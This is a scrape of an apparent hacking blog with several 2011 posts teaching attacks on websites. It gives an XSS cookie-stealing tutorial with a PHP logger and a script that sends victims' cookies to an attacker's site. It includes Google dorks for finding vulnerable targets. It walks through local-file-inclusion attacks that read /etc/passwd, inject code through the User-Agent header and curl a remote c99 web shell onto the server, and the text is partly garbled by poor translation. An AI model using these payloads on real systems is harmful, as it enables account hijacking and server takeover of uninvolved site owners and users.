XSS cheat sheet

12/02/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjVCtcM7W45bA5QCEb65puVxCvWKAXw4wp5In9jztsnFfzraDcLH6CAXABNxt61XI9pFnn0KlL9DG4f2bfRy0iam5OfDFa_yEXP0J84vT1Jjs_Mlrln78euRLldt4z6Xazx7pa0W7A7yis/s1600/xss-threat3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjVCtcM7W45bA5QCEb65puVxCvWKAXw4wp5In9jztsnFfzraDcLH6CAXABNxt61XI9pFnn0KlL9DG4f2bfRy0iam5OfDFa_yEXP0J84vT1Jjs_Mlrln78euRLldt4z6Xazx7pa0W7A7yis/s1600/xss-threat3.jpg" /></a></div>
<br />
Before we start <span style="color: mediumblue;">what is XSS?</span> let's come to basic !! hmm what is <span style="color: darkgreen;">cookie</span> , don't say something like eating stuff.<br />
<span style="color: darkgreen;"><span style="font-weight: bold;">COOKIE</span></span>: <br />
<div class="define border-fade">
A cookie is the variable that web-browsers use to store your login  credentials. Without a cookie, you cannot "stay logged in" on websites.</div>
<span style="color: purple;"><span style="font-weight: bold;">CROSS SITE SCRIPTING</span></span>: <br />
<blockquote>
Cross-Site Scripting is the process of injecting JavaScript (mainly) and also HTML into a webpage.</blockquote>
SOME POINTS ON XSS :<br />
<blockquote>
@ -XSS attacks almost always focus upon sites which use cookies for storing our username and password.<br />
@-XSS is used to harm the website (may be defacing ).</blockquote>
<span style="font-style: italic;">tRAdiTIOnAL Type$</span>: <span style="color: mediumblue;">type0</span> , <span style="color: darkslateblue;">type1</span>, <span style="color: mediumvioletred;">type2</span><br />
<span style="color: mediumblue;">type 0 =DOM-based</span>:<br />
<br />
<div>
<blockquote>
<div class="spoiler_body" style="display: block;">
DOM-based  is an XSS attack wherein the attack payload is executed as a result of  modifying the DOM “environment” in the slave’s browser used by the  original client side script, so that the client side code runs in an  “unexpected” manner. That is, the page itself (the HTTP response that  is) does not change, but the client side code contained in the page  executes differently due to the malicious modifications that have  occurred in the DOM environment.</div>
</blockquote>
<span style="color: darkslateblue;">type 1 = Non Persistence</span> :<br />
<br />
<div>
<blockquote>
<div class="spoiler_body" style="display: block;">
It  means that the injected code is not permanent and is for small time  till the user is on page or having the url with malicious code.</div>
</blockquote>
</div>
<span style="color: mediumvioletred;">type 2 = Persistence</span> :<br />
<div>
<blockquote>
<div class="spoiler_body" style="display: block;">
It means that the injected code is permanent and will stay on the site and output can be seen by any user of site.</div>
</blockquote>
</div>
Now the question is how to check whether the site is xss vulnerable or not ?<br />
There are two methods to check this:</div>
<div>
<br />
1.<span style="font-weight: bold;">POST</span>:: <a href="http://www.target.com/search.php" target="_blank">http://www.target.com/search.php</a> ( we put malacious code in search engine)</div>
<blockquote>
<div>
<code class="prettyprint"><script>alert(“xss”);</script></code></div>
</blockquote>
2.<span style="font-weight: bold;">GET</span>: <a href="http://www.target.com/search=%3Cscript%3Ealert%28" target="_blank">http://www.target.com/search=<script>alert(</a>"xss");</script><br />
We directly put the script in url of browser<br />
<br />
<span style="color: mediumvioletred;"> </span>what else we can do ..??<br />
--><span style="text-decoration: underline;">Insert image</span>:<br />
<blockquote>
<code class="prettyprint"><img src=“url of the image”></img></code></blockquote>
--><span style="text-decoration: underline;">Insert message</span>:<br />
<div class="wobble-horizontal system">
<code><b>this is hacked </b></code></div>
<br />
<span style="text-decoration: underline;">Redirect to your page</span> :<br />
<div class="wobble-horizontal command">
<code class="prettyprint"><script>window.open( "http://www.yoursite.com/" )</script></code></div>
But main aim of xss is to steal cookies so here is cookie stealing.<br />
COOKIE STEALING TUTORIAL:<br />
<div class="wobble-horizontal command">
<code class="prettyprint"><?php<br /><br />function GetIP()<br />{<br />    if (getenv("HTTP_CLIENT_IP") && strcasecmp(getenv("HTTP_CLIENT_IP"), "unknown"))<br />        $ip = getenv("HTTP_CLIENT_IP");<br />    else if (getenv("HTTP_X_FORWARDED_FOR") && strcasecmp(getenv("HTTP_X_FORWARDED_FOR"), "unknown"))<br />        $ip = getenv("HTTP_X_FORWARDED_FOR");<br />    else if (getenv("REMOTE_ADDR") && strcasecmp(getenv("REMOTE_ADDR"), "unknown"))<br />        $ip = getenv("REMOTE_ADDR");<br />    else if (isset($_SERVER['REMOTE_ADDR']) &&  $_SERVER['REMOTE_ADDR'] && strcasecmp($_SERVER['REMOTE_ADDR'],  "unknown"))<br />        $ip = $_SERVER['REMOTE_ADDR'];<br />    else<br />        $ip = "unknown";<br />    return($ip);<br />}<br /><br />function logData()<br />{<br />    $ipLog="log.txt";<br />    $cookie = $_SERVER['QUERY_STRING'];<br />    $register_globals = (bool) ini_get('register_gobals');<br />    if ($register_globals) $ip = getenv('REMOTE_ADDR');<br />    else $ip = GetIP();<br /><br />    $rem_port = $_SERVER['REMOTE_PORT'];<br />    $user_agent = $_SERVER['HTTP_USER_AGENT'];<br />    $rqst_method = $_SERVER['METHOD'];<br />    $rem_host = $_SERVER['REMOTE_HOST'];<br />    $referer = $_SERVER['HTTP_REFERER'];<br />    $date=date ("l dS of F Y h:i:s A");<br />    $log=fopen("$ipLog", "a+");<br /><br />    if (preg_match("/\bhtm\b/i", $ipLog) || preg_match("/\bhtml\b/i", $ipLog))<br />        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer | DATE{ : }  $date | COOKIE:  $cookie <br>");<br />    else<br />        fputs($log, "IP: $ip | PORT: $rem_port | HOST: $rem_host  |  Agent: $user_agent | METHOD: $rqst_method | REF: $referer |  DATE:  $date | COOKIE:  $cookie \n\n");<br />    fclose($log);<br />}<br /><br />logData();<br /><br />?></code></div>
<br />
now how to use this code???<br />
This is done by three-step process consisting of the injected script, the cookie recorder, and the log file.<br />
<br />
First you'll need to get an account on a server and create two files,  log.txt and giveyourname.php. You can leave log.txt empty. This is the  file your cookie stealer will write to. Now paste this php code into  your cookie stealer script (give your name.php) [code metion above].<br />
above script will record the cookies of every user that views it.<br />
<div class="content shadow-radial">
<code class="prettyprint"><script language=  "JavaScript">document.location="http://yoursite.com/giveyourname.php?cookie="  +  document.cookie;document.location="http://www.whateversite.com"</script></code></div>
now above code is injected to the xss vulnerable site page via get or post method: what does this code do??<br />
The above code redirects the viewer to your script, which records their  cookie to your log file. It then redirects the viewer back to the  unmodified search page so they don't know anything happened.<br />
<br />
<br />
If this code works then you'll automatically gets the cookie in  yoursite, other wise you have to do some hard work !! grab the link  which you get after the insertion of above script. And manually get  someone to use that link if necessary. o0ps all s done at this point.<br />
<br />
##All you need to do now is go to your website and check the<span style="color: maroon;"><span style="font-weight: bold;"> log file</span></span><br />
<br />
YOU CAN TRY TO LOOK HERE =<br />
<blockquote>
SEARCH BOX<br />
SHOUT BOX<br />
BLOGS<br />
COMMENT BOX<br />
LOGIN BOX<br />
FEEDBACK FORMS</blockquote>
hey there are still so many xss vulnerable sites , the thing is you should spent maximum time on internet in search for them:<br />
here are few dorks for you:<br />
<blockquote>
inurl:search.php?q=<br />
inurl:com_feedpostold/feedpost.php?url=<br />
inurl:scrapbook.php?id=<br />
inurl:headersearch.php?sid=<br />
inurl:/poll/default.asp?catid=<br />
inurl:/search_results.php?search=<br />
/preaspjobboard//Employee/emp_login.asp?msg1=<br />
pages/match_report.php?mid= pages/match_report.php?mid=</blockquote>
<blockquote>
inurl:?msg=</blockquote>
<br />
<br /></div>

LFI XSS XSS cheat sheet

Before we start what is XSS? let's come to basic !! hmm what is cookie , don't say something like eating stuff. COOKIE : A ...

Shell by LFI - Method proc / self / environ

10/30/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; font-family: Arial,sans-serif,Verdana; font-size: 12px;"><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwN5_e2iP6X_bQAORJ6Fy2m2oFZr_FJrwesTEbSLrB4E6eOtPjp_m1V3yyXIOeF_RRgQB4ov3Jdhtif7rabAEdBIFMDD47jzH1XO9I_JQTjQ2re8q_jmF-Rw2gUs-F953hSy6qEmP6iR3E/s1600/lfi+shell.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="200" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjwN5_e2iP6X_bQAORJ6Fy2m2oFZr_FJrwesTEbSLrB4E6eOtPjp_m1V3yyXIOeF_RRgQB4ov3Jdhtif7rabAEdBIFMDD47jzH1XO9I_JQTjQ2re8q_jmF-Rw2gUs-F953hSy6qEmP6iR3E/s320/lfi+shell.jpg" width="320" /></a></div><div class="separator" style="clear: both; text-align: center;"><br /></div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div><br /></div><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">1 - Introduction<br />2 - Discovery LFI<br />3 - check if / proc / self / environ is accessible<br />4 - malicious code injection<br />5 - Access to the shell<br />6 - Thanks<br /><br />>> 1 - Introduction<br /><br />In this tutorial I will show how to obtain a shell on a site using your Local File Inclusion and<br />injecting malicious code in proc / self / environ.Este a tutorial that explains everything step by step.<br /><br />>> 2 - Discovery LFI<br /><br />- Now a site to find a vulnerable target to Local File <a href="http://www.orkut.co.in/Interstitial?u=http://inclusion.am/&t=ANT-2vyV6xI0BQ6QZt6MCFMkk1WGnFzI3BVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Am</a> found to verify<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3Dcontact.php&t=AAt733Getx39ROFkcyxYy6FmtE4_RVbLYRVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=contact.php</a><br /><br />- Now to replace contact.php with .. / and the URL will become<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../&t=AIKBCKo6DrvVGTxpFbSaFg1lDyJt7LBFQxVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../</a><br /><br />and have an error.<br /><br />Warning: include (../) [function.include]: failed to open stream: No such file or directory in / home / sirgod / public_html / <a href="http://www.orkut.co.in/Interstitial?u=http://website.com/&t=AOp-LAJSNSgATCEsrJszRDHhnZDRsWCT2BVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">website.com</a> / view.php on<br /><br />line 1337<br /><br />good chance to have a vulnerability type Local File <a href="http://www.orkut.co.in/Interstitial?u=http://inclusion.sa/&t=ABOMeXxduLPNs97aULZKYOiDGg12h1jK8xVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Sa</a> move on.</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">- Check if we can access the etc / passwd to see if it is vulnerable to Local File <a href="http://www.orkut.co.in/Interstitial?u=http://inclusion.sa/&t=ABOMeXxduLPNs97aULZKYOiDGg12h1jK8xVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Inclusion.Sa</a>make a request:<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../../../etc/passwd&t=ANdpJaSh7jndtgboaFpljEQb2bni7-vFTxVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../etc/passwd</a><br /><br />have an error and the file etc / passwd is not included.<br /><br />Warning: include (../) [function.include]: failed to open stream: No such file or directory in / home / sirgod / public_html / <a href="http://www.orkut.co.in/Interstitial?u=http://website.com/&t=AJPbdppLrxmlboKKam6tej3hnZDRsWCT2BVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">website.com</a> / view.php on line<br /><br />1337<br /><br />climbed some directors<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../../../../../etc/passwd&t=AGKYhfzlh2NXnQxwKNG8CJTb5NscQ-i3RxVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../../../etc/passwd</a><br /><br />We successfully included file etc / passwd.<br /><br />root: x: 0:0: root: / root: / bin / bash bin: x: 1:1: bin: / bin: / sbin / Nologin daemon: x: 2:2: daemon: / sbin: / sbin / Nologin adm: x: 3:4: adm: / var / adm: / sbin / Nologin<br /><br />lp: x: 4:7: lp: / var / spool / lpd: / sbin / Nologin sync: x: 5:0: sync: / sbin: / bin / sync shutdown: x: 6:0: shutdown: / sbin : / sbin / shutdown halt: x: 7:0: halt: / sbin: / sbin / halt<br /><br />mail: x: 8:12: mail: / var / spool / mail: / sbin / Nologin news: x: 9:13: news: / etc / news: UUCP: x: 10:14: UUCP: / var / spool / UUCP: / sbin / Nologin<br /><br />operator: x: 11:0: operator: / root: / sbin / Nologin games: x: 12:100: games: / usr / games: / sbin / Nologin test: x: 13:30: test: / var / test : / sbin / Nologin ftp:x:14:50:FTP</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">User: / var / ftp: / sbin / Nologin nobody: x: 99:99: Nobody: /: / sbin / Nologin<br /><br />>> 3 - check if / proc / self / environ is accessible<br /><br />- Now to see if / proc / self / environ is accesibil.O to replace etc / passwd with / proc / self / environ<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../../../&t=AGe1WArqxNTOg7PUWAjzvYUcaGP92oEm2RVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../</a> ... LF / environ<br /><br />If you get something like<br /><br />DOCUMENT_ROOT = / home / sirgod / public_html GATEWAY_INTERFACE = CGI/1.1 HTTP_ACCEPT = text / html, application / xml, q = 0.9, application / xhtml + xml, image / png,<br /><br />image / jpeg, image / gif, image / x-xbitmap, * / *, q = 0.1 PHPSESSID = HTTP_COOKIE = HTTP_HOST =<a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/&t=AAiRnc6O4jlDVidfMVi0vvuB9xj2D9tMoBVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> 134cc7261b341231b9594844ac2ad7ac<br /><br />http://<a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/index.php?view%3D../../../../../../etc/passwd&t=AHpzFkxxSZlaJ2tWgGLfbr8zpEw-A568oRVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">Http://www.website.com/index.php?view=../../../../../../etc/passwd</a> HTTP_REFERER = HTTP_USER_AGENT = Opera/9.80 (Windows NT 5.1, U , en) Presto/2.2.15</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">Version/10.00 PATH = / bin: / usr / bin QUERY_STRING = view =..% 2F ..% 2F ..% 2F ..% 2F ..% 2F ..% 2Fproc% 2Fself% 2Fenviron REDIRECT_STATUS = 200 REMOTE_ADDR = 6x .1 xx.4x.1xx<br /><br />REMOTE_PORT = 35665 REQUEST_METHOD = GET REQUEST_URI = / index.php? View =..% 2F ..% 2F ..% 2F ..% 2F ..% 2F ..% 2Fproc% 2Fself% 2Fenviron<br /><br />SCRIPT_FILENAME = / home / sirgod / public_html / index.php SCRIPT_NAME = / index.php SERVER_ADDR = 1xx.1xx.1xx.6x SERVER_ADMIN = <a href="mailto:webmaster@website.com">webmaster@website.com</a><br /><br />SERVER_NAME = <a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/&t=APOdiHPtd61ANyWoRO8A6ByB9xj2D9tMoBVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> SERVER_PORT = 80 SERVER_PROTOCOL = HTTP/1.0 SERVER_SIGNATURE =<br />Apache/1.3.37 (Unix) mod_ssl/2.2.11 OpenSSL/0.9.8i DAV / 2 mod_auth_passthrough/2.1 mod_bwlimited/1.4 FrontPage/5.0.2.2635 Server at <a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/&t=APOdiHPtd61ANyWoRO8A6ByB9xj2D9tMoBVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> Port 80<br /><br />proc / self / environ is accesibil.Daca get a blank page, an error means it is not accessible or operating system is FreeBSD.</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><h3 class="smller" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; line-height: 16px; margin: 0px 0px 0px 84px; padding: 0px;"><br /></h3><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">>> 4 - malicious code injection<br /><br />- Now let us inject malicious code in proc / self / environ.Cum we do this? Inject code in HTTP User-Agent header.<br />Use Tamper Data addon's for Firefox to change User-Agent-ul.Porniti Tamper date and make a request to the URL:<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/view.php?page%3D../../../&t=ANis2Ywv-RyoD92fNgg9CakcaGP92oEm2RVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com/view.php?page=../../../</a> ... LF / environ<br /><br />Choose Tamper and User-Agent field write the following code:<br /><br />A shell.php available @ ;?><br /><br />Then, submit the request.<br /><br />Our command will be executed in<br />through function system (), and our shell will be creat.Daca does not work, try exec () because system () can be<br />restricted on a server in php.ini</span></big></b></div></div><div class="listdivi" style="background-color: transparent; clear: both; color: black; font-family: Arial,sans-serif,Verdana; font-size: 1px; height: 0px; line-height: 1px; margin: 1px 0px; overflow: hidden; padding: 0px;"></div><div class="listitem" style="background-color: whitesmoke; color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px; overflow: hidden; padding: 5px 5px 1px;"><div class="rfdte" style="color: #666666; float: right; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 8px 15px; padding: 0px;">11/23/10</div><div class="para" style="color: black; font-family: Arial,sans-serif,Verdana; font-size: 12px; margin: 0px 0px 0px 84px; padding: 2px 0px 3px;"><b style="font-weight: 700;"><big><span style="text-shadow: 0px 0px 5px green;">>> 5 - Access to the shell<br /><br />- Now check if our code has been injected with malicious <a href="http://www.orkut.co.in/Interstitial?u=http://succes.sa/&t=AHyFZBUPN4nm1xR6A4yT6ylumq30hf9hfhVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">succes.Sa</a> see if the shell is present.<br /><br /><a href="http://www.orkut.co.in/Interstitial?u=http://www.website.com/&t=AAvOPDcWpCTmxNe4N4tkVpiB9xj2D9tMoBVF6BHPOhTLLepkcou6qJpV89btnA5JBcIcq4CgFTjFWubyjMexdr4Egu0z4qwcLwAAAAAAAAAA" style="color: #02679c; text-decoration: none;" target="_blank">www.website.com</a> / shell.php<br /><br />We acolo.Injectia shell was successful.<br /><br />i hope you enjoy!!!</span></big></b></div></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

LFI Shell by LFI - Method proc / self / environ

1 - Introduction 2 - Discovery LFI 3 - check if / proc / self / environ is accessible 4 - malicious code injection 5 - Access to the shell 6...

LFI ( Local File Inclusion ): How to upload SHELL (C99.txt)

10/11/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><span class="Apple-style-span" style="background-color: white; color: #444444; font-family: Arial,Tahoma,Helvetica,FreeSans,sans-serif; font-size: 13px; line-height: 18px;"><h3 class="post-title entry-title" style="color: #444444; font: bold 22px Arial,Tahoma,Helvetica,FreeSans,sans-serif; margin: 0px; position: relative;">LFI ( Local File Inclusion ): How to upload SHELL ( C99 .txt )</h3><div class="post-header" style="line-height: 1.6; margin: 0px 0px 1em;"><div class="post-header-line-1"></div></div><div class="post-body entry-content" style="line-height: 1.4; position: relative; width: 506px;"><span id="1108670589516731184"><h5>Continuing to our post <a href="http://rah-labs.blogspot.com/2011/10/step-by-step-guide-for-lfi-local-file.html">Step by Step guide for LFI (Local File Inclusion)</a>: The process of exploiting a website</h5>Required:<br />1. site vuln to lfi<br />2. php knowledge<br />3. browser Mozilla Firefox...<br />================================<br />So... first you find some site vuln to lfi... now we must check if there are logs...<br />They are usually stored in /proc/self/environ... so just replace /etc/passwd with /proc/self/environ<br />If you get something like "DOCUMENT_ROOT=..." then it means you successfully found logs :D<br />Now,on that page you can find something like "HTTP_USER_AGENT"...<br />This value is usually our useragent(mozilla,netscape,etc) and now we must spoof it... but how?<br />Open a new tab in Mozilla,and type "about:config" (without quotes)...<br />Now,in "Filter" type: general.useragent.extra.firefox<br />You will get something like this:<br />Code:<br /><pre>Preference name                            Status     Type        Value<br />general.useragent.extra.firefox     default     string       Firefox/3.0.7</pre><br />Now,double click on general.useragent.extra.firefox and replace "Firefox/3.0.7"<br />with<br /><br />Code:<br /><pre></pre><br />If everything is good you will get shell included... Otherwise,you will get errors... Mostly I was getting error "URL-File access disabled" or something like that... but using php I found another way...<br />Instead of typing<br /><br />Code:<br /><pre></pre><br />as useragent,type this:<br /><br />Code:<br /><pre></pre><br />Then load your vuln page like this:<br /><br />Code:<br /><pre><a href="http://yourvulnsite.com/vulnscript.php?page=../../../proc/self/environ?cmd=curl" style="color: #3778cd; text-decoration: none;">http://yourvulnsite.com/vulnscript.php?page=../../../proc/self/environ?cmd=curl</a> <a href="http://shelladress.com/c99.txt" style="color: #3778cd; text-decoration: none;">http://shelladress.com/c99.txt</a> -o c99.php</pre><br />So,lets review... basicaly,you are just adding &cmd= thing at the end of url...<br />Now,using "curl" command you will get content of shell in txt format and by using -o c99.php you will rename it to c99.php...<br />Now simply go to your site like this:<br /><br />Code:<br /><pre><a href="http://yourvulnsite.com/c99.php" style="color: #3778cd; text-decoration: none;">http://yourvulnsite.com/c99.php</a></pre><br />And that's all for now...cheers! </span></div></span><br /><div><br /></div>-- <br /><div dir="ltr">Regards,<br />Hardeep Singh<br />(<a href="http://www.fb.com/h4rdeep" target="_blank">www.fb.com/h4rdeep</a>)</div><br /></div>

LFI LFI ( Local File Inclusion ): How to upload SHELL (C99.txt)

LFI ( Local File Inclusion ): How to upload SHELL ( C99 .txt ) Continuing to our post Step by Step guide for LFI (Local File Inclusion) : T...

Step by Step guide for LFI (Local File Inclusion): The process of exploiting a website

10/06/2011 cyb3r.gladiat0r 0

<div dir="ltr" style="text-align: left;" trbidi="on"><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg3fuYGHuNLzkQJBkoDNSNb9ZcZjc9XLZngYjOduk77MyDAkUr9NpPrUWQSRRnHwZqVeDrSyY0YpDdOoa6lFvXI3g3Of8Aq8zyt2zweNm2a94eClMYi7zjyjq3rbr30SKNjoWGxF6UAhHa/s1600/lfi-3.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" height="247" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjg3fuYGHuNLzkQJBkoDNSNb9ZcZjc9XLZngYjOduk77MyDAkUr9NpPrUWQSRRnHwZqVeDrSyY0YpDdOoa6lFvXI3g3Of8Aq8zyt2zweNm2a94eClMYi7zjyjq3rbr30SKNjoWGxF6UAhHa/s400/lfi-3.jpg" width="400" /></a></div><br /><br />
This tutorial will guide you into the process of exploiting a website thru the LFI (Local File Inclusion).<br /><br />
<br />
<div class="post-body entry-content" ><span class="Apple-style-span" >First lets take a look at a php code that is vulnerable to LFI:<br />PHP Code:<br />
<div class="command"><code class="prettyprint">$page = $_GET[page];<br />include($page);<br />?></code></div>Now, this is a piece of code that should NEVER be used, because the $page isn't sanitized and is passed directly to the webpage, but unfortunately (or not ) is very common to be find in the www world.<br /><br />Ok, now that we know why is it vulnerable let's start to use this in our advantage. First let's take a look how this give us the ability to "browse" thru the web server. Let's imagine theres a file called test.php inside the test directory, if you type<a href="http://victim.com/test/test.php" style="color: #3778cd; text-decoration: none;">victim.com/test/test.php</a> will retrive that file correct? Ok, but if the php code that we examined was in the index.php we could also retrive that file thru <a href="http://victim.com/index.php?page=test/test.php" style="color: #3778cd; text-decoration: none;">victim.com/index.php?page=test/test.php</a> , see what happened there? Now, if the index.php was in<a href="http://victim.com/test/index.php" style="color: #3778cd; text-decoration: none;">victim.com/test/index.php</a> and the test.php in <a href="http://victim.com/test.php" style="color: #3778cd; 